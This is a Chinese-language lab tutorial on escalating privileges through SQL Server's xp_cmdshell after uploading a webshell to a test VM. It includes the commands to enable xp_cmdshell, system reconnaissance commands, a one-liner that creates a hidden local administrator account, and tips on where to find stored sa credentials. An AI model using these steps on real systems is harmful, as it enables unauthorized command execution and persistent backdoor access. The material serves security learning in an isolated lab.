我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!
如果网站里面使用的数据库是sqlserver 那么如果找到sa的密码,可以开启xp_cmdshell存储过程,以sqlserver的身份执行系统命令。但是不一定是系统权限,还要看管理员在一开始安装sqlserver的权限设置。
(1)xp_cmdshell存储过程【存储过程是:已预编译为一个可执行过程的一个或多个SQL语句的集合】,它是用来执行本机的cmd命令的,要求系统登陆有sa权限。默认情况下,sql server2005/2008在安装后,xp_cmdshell存储过程是禁用的,如果要使用它,可以按照以下语句开启:Exec sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE;`
| 序号 | 命令 | 注释 |
|---|---|---|
| 1 | Exec sp_configure ‘show advanced options’,1; | #允许配置高级选项 |
| 2 | RECONFIGURE; | #重新配置 |
| 3 | EXEC sp_configure ‘xp_cmdshell’,1; | #启用xp_cmdshell存储过程 |
| 4 | RECONFIGURE; | #重新配置 |
(2)执行系统命令格式:
| 序号 | 命令 | 注释 |
|---|---|---|
| 1 | Exec master.dbo.xp_cmdshell ‘whoami’ | #查看当前用户 |
| 2 | Exec master.dbo.xp_cmdshell ‘net user’ | #查看所有用户 |
| 3 | Exec master.dbo.xp_cmdshell ‘systeminfo’ | #查看OS信息 |
| 4 | Exec master.dbo.xp_cmdshell ‘net user test 123 /add & net localgroup administrators test /add’ | #添加管理员组用户 |
(3)使用完了要及时禁用:Exec sp_configure 'show advanced options',1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell',0;RECONFIGURE;
| 序号 | 命令 | 注释 |
|---|---|---|
| 1 | Exec sp_configure ‘show advanced options’,1; | #允许配置高级选项 |
| 2 | RECONFIGURE; | #重新配置 |
| 3 | EXEC sp_configure ‘xp_cmdshell’,0; | #禁用xp_cmdshell存储过程 |
| 4 | RECONFIGURE; | #重新配置 |
1.靶机环境:
(1)虚拟机Windows2008【target_sys.com】【192.168.97.131】
(2)脚本语言环境:php/asp语言环境存在
2.攻击机:
(1)虚拟机Win7【192.168.97.130】
(2)Firefox+Burpsuite+蚁剑+大马
3.网络环境:
(1)VMware搭建的NAT网络
URL:http://target_sys.com/upload.php
第一步:访问靶机链接,利用MIME突破白名单类型限制,上传up.aspx大马

【以上过程略】以下进行提权过程:
第二步:连接up.aspx大马【密码为admin】,并且点击[File Manager]文件管理模块,进行查找sqlserver的帐号和密码
连接大马:

sqlserver的连接数据一般的存储位置:web.config、config.asp、conn.aspx、database.aspx,不过该环境下的实在旁站(www.demo1.com)下的index.aspx内存储了as用户密码:123456

第三步: 点击[DataBase]数据库模块,使用刚刚得到的sa账号连接mssql,同时发现SQL SERVER版本为2008
xp_cmdshell存储过程是用来执行本机的cmd命令的,要求系统登陆有sa权限

第四步:SQLExec下拉框中选择Add xp_cmdshell(SQL2005)这个选项,开启xp_cmdshell存储过程


第五步:利用刚刚启用的xp_cmdshell存储过程,以sqlserver的身份去执行一些系统命令
由于查看当前权限也是一个普通用户,所以只可以执行一些基础的命令,也可以上传溢出提权工具 再来提高当前用户的权限。


